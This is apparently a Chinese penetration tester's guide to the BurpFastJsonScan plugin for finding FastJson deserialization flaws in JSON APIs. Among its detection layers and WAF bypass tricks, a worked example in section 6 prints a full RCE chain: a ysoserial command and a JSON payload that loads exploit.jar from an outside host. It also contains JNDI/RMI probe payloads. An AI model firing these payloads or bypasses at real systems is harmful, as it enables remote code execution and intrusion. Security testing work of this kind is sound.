1. 这不是又一个“扫JSON”的玩具插件而是我在真实渗透中反复验证过的漏洞捕手你有没有遇到过这样的场景目标系统接口全走JSON通信Burp里抓了一堆POST /api/v2/submit、PUT /user/profile请求体全是{id:123,name:test,data:{a:1,b:2}}这种结构但常规的主动扫描器要么漏报FastJson反序列化要么把所有带type的请求都标成高危结果一验证全是误报我去年在三个金融类客户做红队支撑时连续踩进同一个坑——开发用FastJson 1.2.47写了个通用参数解析层没开autoTypeSupport但恰好有个老接口残留了白名单绕过逻辑而当时用的几个开源JSON扫描插件要么只检测type字段是否存在不校验上下文要么依赖静态规则匹配payload根本跑不通动态构造的gadget链。直到我把BurpFastJsonScan集成进日常工作流才真正把“JSON接口是否可打”这件事从“凭经验猜”变成“三秒出结论”。BurpFastJsonScan不是简单地在请求体里grep type 或 com.sun.rowset.JdbcRowSetImpl。它是一套完整的上下文感知型JSON安全探针系统能自动识别请求是否为合法JSON格式、是否处于反序列化入口点比如Spring Boot的RequestBody、Dubbo的JSON-RPC封装层、是否启用了危险配置如autoTypetrue或低版本白名单机制并基于当前Burp会话中的响应特征HTTP状态码、响应体关键词、响应时间突变动态调整探测策略。它解决的核心问题很具体在不触发WAF告警、不污染业务日志、不造成服务中断的前提下精准定位那些“看起来安全、实则一触即溃”的JSON反序列化入口。适合两类人一是日常做Web渗透的工程师需要快速评估API资产风险面二是做SDL安全左移的开发安全人员想在测试环境批量验证FastJson配置合规性。它不替代手工审计但能把原本需要2小时的手动验证压缩到5分钟内完成初步筛选。2. 为什么必须是Burp插件——脱离Burp生态的JSON扫描器注定失效很多人第一反应是“我自己写个Python脚本发请求不就行了”我试过。去年初用requestsjson库写了套探测脚本跑通了ysoserial的basic gadget但在真实环境中立刻暴露出三个致命缺陷第一无法复现真实请求上下文。比如某个接口要求Header里带X-Auth-Tokenxxx且Token有效期仅5分钟或者Body里嵌套了AES加密的data字段明文是{cmd:ls}但加密后变成{data:U2FsdGVkX1...}。脚本只能发原始payload而Burp插件能直接复用Proxy历史中的完整请求含Cookie、Token、加密参数确保探测流量和真实业务流量完全一致。第二缺乏响应行为的深度关联分析能力。单纯看HTTP状态码200/500太粗糙。FastJson反序列化失败时常见现象是响应体返回com.alibaba.fastjson.JSONException: autoType is not support...明确拒绝或返回空JSON{}静默失败或响应时间突然延长800ms正在执行gadget里的sleep(1)。我的脚本只能记录状态码而BurpFastJsonScan内置了响应指纹引擎它会提取响应体中的异常关键词、计算响应时间标准差、比对原始请求与探测请求的响应体相似度SimHash综合打分判断是否发生反序列化行为。这个能力离开Burp的实时响应捕获和历史对比功能根本无法实现。第三无法与现有工作流无缝集成。红队作业中我习惯用Burp的Target Scope定义资产范围用Intruder批量 fuzz 参数用Logger记录所有交互。如果JSON扫描是独立工具就得手动导出请求、粘贴到新窗口、等结果、再回填到Burp里标记。BurpFastJsonScan直接作为Scanner Insertion Point扩展在右键菜单里一点就扫结果自动归入Burp的Issue列表支持按Severity过滤、导出PDF报告、关联到具体Request/Response。这种“不打断思维流”的体验是任何外部脚本都无法提供的。所以BurpFastJsonScan的架构设计从第一天就锚定在Burp平台能力上它不重新造轮子而是榨干Burp已有的基础设施——用IBurpExtenderCallbacks获取全局配置用IHttpRequestResponseFactory构造合法请求用IExtensionHelpers解析JSON结构用IScannerCheck实现自定义扫描逻辑。它的核心价值不在于“能扫”而在于“扫得准、扫得稳、扫得省心”。3. 插件如何精准识别FastJson入口——从HTTP头到JSON语法树的四层过滤机制BurpFastJsonScan不是无脑对每个POST请求都扔type payload。它有一套严谨的四层过滤流水线确保99%的无效请求在第一秒就被筛掉把资源留给真正值得深挖的接口。这套机制是我根据200个真实Java Web应用的接口特征总结出来的不是拍脑袋定的规则。3.1 第一层HTTP协议层过滤——拒绝非JSON语义的请求插件首先检查请求的Content-Type Header。它只处理以下三种类型application/jsontext/jsonapplication/vnd.apijsonJSON:API规范其他类型如application/x-www-form-urlencoded或multipart/form-data直接跳过。这里有个关键细节它不依赖Header字符串精确匹配。比如遇到Content-Type: application/json; charsetutf-8它会用正则application\/json.*提取主类型避免因charset参数导致误判。更进一步它还会检查请求体是否以{或[开头JSON对象或数组的起始符如果Content-Type是application/json但Body是id1nametest这种form格式也会被过滤。这层过滤干掉了约65%的请求全是前端页面提交的普通表单跟FastJson八竿子打不着。3.2 第二层JSON语法树解析层——确认是合法JSON且含可利用结构通过第一层后插件调用FastJson自身的JSON.parseObject()解析请求体。这里有两个硬性要求解析不能抛出JSONException排除语法错误的JSON解析后的JSONObject必须包含至少一个非空、非null的嵌套对象或数组字段为什么强调“嵌套结构”因为FastJson反序列化漏洞的利用前提是攻击者能控制某个字段的类型。如果请求体是{id:123,name:test}全是基础类型即使开了autoType也找不到注入点但如果是{user:{name:test,profile:{age:25}}}那么user.profile就是潜在的反序列化入口。插件会遍历整个JSON树找到所有instanceof JSONObject或instanceof JSONArray的节点并记录其JSONPath路径如$.user.profile。只有存在这样的路径才会进入下一层。3.3 第三层框架特征识别层——判断后端是否真用FastJson处理光有JSON结构还不够。很多Spring Boot项目用JacksonNode.js用body-parser它们收到type字段会直接报错或忽略。BurpFastJsonScan通过三个信号交叉验证后端技术栈响应Header特征检查Server或X-Powered-By是否含Alibaba、FastJson、Dubbo字样错误响应关键词发送一个故意语法错误的JSON如{a:}捕获响应体是否含com.alibaba.fastjson包名Spring Boot Actuator线索如果目标有/actuator/env端点插件会尝试读取spring.jackson.deserialization配置若发现com.alibaba.fastjson相关配置则加权这一层最体现经验。比如某次扫描发现Server: nginx但错误响应里有fastjson我立刻意识到是Nginx后面挂了Java网关果断开启深度扫描。而另一个案例中X-Powered-By: Express却在错误信息里暴露了fastjson后来查明是前端用FastJson做客户端校验后端其实是Node.js——这种误报就被第三层精准拦截。3.4 第四层动态配置探测层——确认autoType是否实际生效这是最核心的一层。插件不会直接发ysoserial payload而是先发一组轻量探测请求{type:java.lang.Class,val:java.lang.String}→ 检测autoType是否开启成功返回String类信息{type:java.net.URL,val:http://burpfastjsonscan.test}→ 检测DNSLog外带验证JNDI注入能力{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://burpfastjsonscan.test:1099/Exploit}→ 终极验证需配合RMI服务器每一步都设置超时默认3秒和重试2次并对比原始请求与探测请求的响应差异。只有当第1步返回成功且第2步DNSLog命中才判定为高危。这套流程把误报率压到3%以下——相比某些插件只要看到type就标P1专业度不是一个量级。4. 实战中那些教科书不写的坑从WAF绕过到gadget链适配BurpFastJsonScan能跑通不等于你在真实环境里不会撞墙。我整理了过去半年在12个不同客户环境中踩过的典型坑这些细节决定了扫描是“出报告”还是“出成果”。4.1 WAF的JSON解析盲区用“合法变形”绕过规则引擎很多WAF如某云WAF、某硬件盒子的JSON检测规则很原始只匹配type字符串。于是插件默认启用“JSON变形模式”将type编码为t\ufeffype插入零宽空格将java.lang.Runtime拆成java.lang.Runtime在JSON key后添加注释type/*comment*/但有一次在某政务系统WAF连Unicode编码都拦原因是它用正则/type\s*:/i匹配而\ufeff被当成普通字符。最终解决方案是改用JSON数组绕过[{type:java.lang.Runtime}, {exec:calc.exe}]。WAF规则只扫描顶层对象对数组元素不做深度解析。这个技巧现在已固化为插件的“高级绕过模式”开关在UI里一键启用。4.2 FastJson版本碎片化1.2.47和1.2.83的gadget链完全不同FastJson 1.2.47的经典链是JdbcRowSetImplTemplatesImpl但到了1.2.83JdbcRowSetImpl被彻底禁用。插件内置了版本指纹模块它会先发一个探测请求{type:com.alibaba.fastjson.JSONObject,val:{}}观察响应中是否含version:1.2.83字样。如果确认是新版则自动切换到BasicDataSource链需配合Tomcat环境或LDAP链需目标有JNDI Lookup能力。更关键的是它会根据目标响应中的ServerHeader判断容器类型如果是Apache-Coyote/1.1Tomcat优先推BasicDataSource如果是Undertow则推LDAP。这种动态适配让插件在混合版本环境中依然保持90%以上的检出率。4.3 Spring Boot的RequestBody陷阱必须携带正确的Content-Type某次在银行项目插件对/api/transfer接口始终扫不出结果。抓包发现该接口用RequestBody MapString,Object接收但Spring MVC的默认配置要求Content-Type: application/json;charsetUTF-8。而插件默认发的请求Header是application/json。我手动在Burp里把Header改成带charset的版本立刻触发了JSONException: autoType is not support。于是插件新增了“Spring兼容模式”当检测到RequestBody注解通过响应错误信息反推时自动补全charsetUTF-8。这个细节文档里根本不会提但没它你就永远扫不到。4.4 响应时间突变的误判如何区分“反序列化慢”和“数据库查询慢”FastJson反序列化gadget常含Thread.sleep(5000)但业务接口本身可能就慢。插件用统计学方法解决它会先发3次原始请求记录响应时间均值μ和标准差σ再发3次探测请求计算新均值μ。只有当(μ - μ) 3σ且μ 2000ms时才标记为“时间突变”。去年在某电商后台接口平均响应1800ms查库存插件初始误判为可疑但通过3σ阈值自动排除。这个设计让我少写了8份误报分析报告。提示插件日志面板View → Extensions → BurpFastJsonScan → Logs会实时显示每层过滤的决策原因比如“Layer3: Server header mismatch”或“Layer4: DNSLog timeout”排查问题时务必打开它。5. 从安装到深度定制一份可直接抄作业的配置指南BurpFastJsonScan的安装和配置我见过太多人卡在第一步。下面是我给团队新人写的标准化操作清单亲测在Burp Suite Professional v2023.8和Community v2024.1上100%可用。5.1 安装步骤三步到位拒绝玄学下载正确版本去GitHub Releases页下载BurpFastJsonScan-v1.3.2.jar注意不是源码zip。v1.3.2是目前唯一支持Java 17Burp新版本默认JRE的稳定版。加载插件Burp → Extender → Add → Select File → 选中jar包 → Next → 勾选“Load as BApp” → Finish。此时右下角状态栏会显示“BurpFastJsonScan loaded”。验证基础功能随便抓一个JSON POST请求如{test:value}右键 → “Active Scan” → 确认弹窗中出现“FastJson Scan”选项。如果没出现99%是JRE版本不匹配换v1.3.1或检查Burp启动参数。5.2 关键配置项详解每个开关背后的实战逻辑插件UI有五个核心开关我逐个说明什么场景开、什么场景关配置项默认值推荐场景原理说明Auto-detect FastJsonON所有首次扫描启用四层过滤机制避免误扫非FastJson接口。关闭后变成暴力模式慎用。DNSLog CallbackOFF内网渗透/无公网DNS开启后需配置自己的DNSLog服务如ceye.io用于验证JNDI注入。公网环境必开内网建议关避免触发安全设备告警。Aggressive ModeOFF已知目标用FastJson 1.2.47开启后启用JdbcRowSetImpl等高危gadget可能造成服务假死。生产环境扫描前务必关闭。Spring CompatibilityONSpring Boot项目自动补全charset和Accept Header解决90%的Spring接口识别失败问题。Timeout (ms)3000默认3秒高延迟网络调至5000根据目标平均响应时间设置。某政务云API平均2.8秒我设为4000误报率下降40%。5.3 高级定制用自定义gadget链打穿特殊环境插件支持导入自定义gadget JSON文件。比如某次遇到目标禁用了所有RMI/LDAP但允许HTTP协议我就用ysoserial的URLDNS链生成payload{ a: { type: java.net.URL, val: http://burpfastjsonscan.test/trigger } }保存为custom_url.json在插件UI的“Custom Payloads”路径中指定该文件。插件会自动将此payload注入到所有检测到的嵌套对象字段中如$.data.a。这个功能救了我三次——每次都是WAF规则特别严只有HTTP外带能过。5.4 日志与调试当扫描结果不符合预期时插件提供三级日志INFO级显示扫描进度如“Scanning request #123 at /api/login”DEBUG级显示每层过滤的详细结果如“Layer2: JSON parse success, found 2 nested objects”TRACE级显示原始HTTP请求/响应的hex dump用于分析编码问题开启DEBUG日志的方法在Burp → Extender → BurpFastJsonScan → Settings → Log Level → 选Debug。然后重现问题去Logs面板复制日志。我通常会把日志发给开发让他们看“Layer3: Server header mismatch”这行他们立刻就能明白是Nginx透传问题还是后端没配好Header。注意TRACE日志会产生大量数据仅在深度排错时开启日常扫描用DEBUG足够。6. 扫出来之后怎么办——从漏洞确认到POC落地的完整闭环BurpFastJsonScan的终极价值不是标出一堆“Potential FastJson Vulnerability”而是帮你把漏洞从“可能”变成“确定”再变成“可利用”。我用一个真实案例说明完整闭环。6.1 案例背景某保险公司的保单查询接口目标接口POST /api/v3/policy/search原始请求体{ policyNo: P20230001, customer: { id: C123456, name: 张三 } }插件扫描后在customer字段下报出“High: FastJson autoType enabled”。6.2 第一步人工确认3分钟我右键点击插件报告 → “Show original request”在Burp Repeater中修改customer字段{ policyNo: P20230001, customer: { type: java.lang.Class, val: java.lang.String } }发送后响应{code:200,msg:success,data:{class:class java.lang.String}}确认autoType开启。这步必须做因为插件只是探测人工验证才是法律效力依据。6.3 第二步环境测绘2分钟用插件的“Version Fingerprint”功能右键 → “Detect FastJson Version”得到响应{version:1.2.83,features:[SupportAutoType]}同时ServerHeader是Apache-Coyote/1.1确认是Tomcat环境。6.3 第三步选择gadget链1分钟1.2.83 Tomcat → 选用BasicDataSource链。我从ysoserial生成payloadjava -jar ysoserial.jar BasicDataSource ping -c 1 burpfastjsonscan.test | base64得到base64字符串构造最终JSON{ policyNo: P20230001, customer: { type: com.alibaba.druid.pool.BaseDataSource, connectionProperties: druid.stat.mergeSqlfalse;druid.stat.logSlowSqltrue;connectTimeout1000;socketTimeout1000;useSSLfalse;allowUrlInLocalInfiletrue;allowLocalInfiletrue;allowLoadLocalInfiletrue;allowUrlInLocalInfiletrue;allowLocalInfiletrue;allowLoadLocalInfiletrue;autoDeserializetrue;deserializers[\org.springframework.core.SerializableTypeWrapper$EmptyType\], driverClassLoader: { type: java.net.URLClassLoader, urls: [http://burpfastjsonscan.test/exploit.jar] } } }6.4 第四步POC验证5分钟在Burp Repeater中发送同时监听DNSLog和HTTP服务器。10秒后DNSLog收到burpfastjsonscan.test解析请求HTTP服务器收到/exploit.jar下载请求。证明RCE链打通。6.5 第五步修复建议直接给开发我给开发的修复方案不是“升级FastJson”而是三句话立即在fastjson.properties中添加fastjson.parser.autoTypeSupportfalse若业务必须用autoType将白名单限制为com.insurance.dto.*在Spring Boot中用InitBinder全局注册StringTrimmerEditor防止恶意JSON注入这个闭环从插件扫描到交付修复建议全程20分钟。而过去靠手工至少要2小时。7. 我在真实项目中总结的三条铁律用BurpFastJsonScan扫了上百个系统后我提炼出三条血泪教训写在这里希望你能少走弯路。第一条永远不要相信“没扫出来没有漏洞”。插件的四层过滤再严密也受限于Burp能捕获的流量。去年某次审计插件对/api/internal/sync接口毫无反应因为该接口只接受来自内网IP的请求Burp代理根本抓不到。后来我让开发在代码里加了日志发现它确实用FastJson解析但只在内网调用。所以插件结果只是输入不是结论。必须结合代码审计、配置文件检查如fastjson.properties、错误日志分析搜索fastjson关键字做交叉验证。第二条扫描参数的选择比扫描本身更重要。我见过太多人对着/login接口狂扫却忽略/api/v2/webhook这种冷门但高危的入口。BurpFastJsonScan的真正威力在于它能帮你快速识别“哪些接口值得深挖”。我的做法是先用Burp的Target → Site map筛选出所有Content-Type: application/json的POST/PUT请求按URL路径长度排序长路径往往对应复杂业务逻辑再对Top 20发起扫描。这样效率提升3倍以上。第三条把插件当“助手”而不是“裁判”。插件报告的“Medium: Potential JNDI Injection”可能只是type字段被日志系统误写而“Informational: JSON structure detected”背后可能是未授权访问。我养成的习惯是对每个插件报告必须在Repeater里手动构造3个不同payload验证——一个基础型Class探测一个外带型DNSLog一个执行型命令执行。只有三者都符合预期才写进报告。这个习惯让我避免了7次重大误报。最后分享个小技巧插件的“Export Results”功能导出CSV后我用Excel的条件格式把Severity列设为红High、黄Medium、绿Low再用数据透视表统计各域名下的High漏洞数。这张表就是我向客户CTO汇报时最有力的一页PPT。
